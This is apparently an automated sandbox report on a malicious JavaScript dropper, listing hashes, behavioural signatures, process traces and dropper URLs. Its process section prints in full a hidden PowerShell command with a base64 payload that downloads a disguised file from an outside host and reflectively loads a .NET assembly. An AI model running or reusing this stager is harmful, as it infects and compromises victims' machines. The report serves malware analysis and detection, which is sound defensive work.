Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 19:32

General

  • Target
    jaffacakes118_8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec.js
  • Size 6.1MB
  • Sample260910-x85keaed74
  • SHA256 8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://archive.org/download/optimized_msi_20251201/optimized_MSI.png

  • exe.dropper

    http://archive.org/download/optimized_msi_20251201/optimized_MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec.js
    1⤵
      PID:5556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGNsYXNzaWNzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRjbGFzc2ljcy5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokY2xhc3NpY3MuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRjbGFzc2ljcy5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokcGhpbGF0ZWx5ID0gJ2h0dHA6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9vcHRpbWl6ZWRfbXNpXzIwMjUxMjAxL29wdGltaXplZF9NU0kucG5nJzsNCiRjb21tYXRlcmlhbGl0eSA9ICRjbGFzc2ljcy5Eb3dubG9hZERhdGEoJHBoaWxhdGVseSk7DQokbWlydGggID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRjb21tYXRlcmlhbGl0eSk7DQppZiAoJG1pcnRoIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKSB7DQogICRjb25mbGljdCA9ICRtYXRjaGVzWzFdOw0KICAkS2hhcmlib2xpID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY29uZmxpY3QpKTsNCiAgW0NsYXNzTGlicmFyeTEuQ2xhc3MxXTo6VkFJKCcwaEhkdU0zYjA1V1p0VjNZdlJVYlc5U1kwVkdjeUYyWQoNd0lUSmhaWFoxNTBMbkozYnVNbmJrdDJZMVJtTHZCWFl6Tkhjd0YyY3lWbWRwSkhaemQzYms1V2EzQkhhd1IzY3ZoMkx2b0RjMFJIYScsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnTVNCdWlsZCcsJycsJ01TQnVpbGQnLCcnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2pzJywnMScsJycsJ1Rhc2tfTmFtZScsJzEnLCcnLCcnLCcnKTsNCn0=')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5936

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_e31itu5k.21p.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e31itu5k.21p.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/5936-0-0x000001FF24020000-0x000001FF24030000-memory.dmp

          memory/5936-6-0x000001FF23EF0000-0x000001FF23F12000-memory.dmp

          memory/5936-9-0x000001FF24020000-0x000001FF24030000-memory.dmp

          memory/5936-10-0x000001FF24020000-0x000001FF24030000-memory.dmp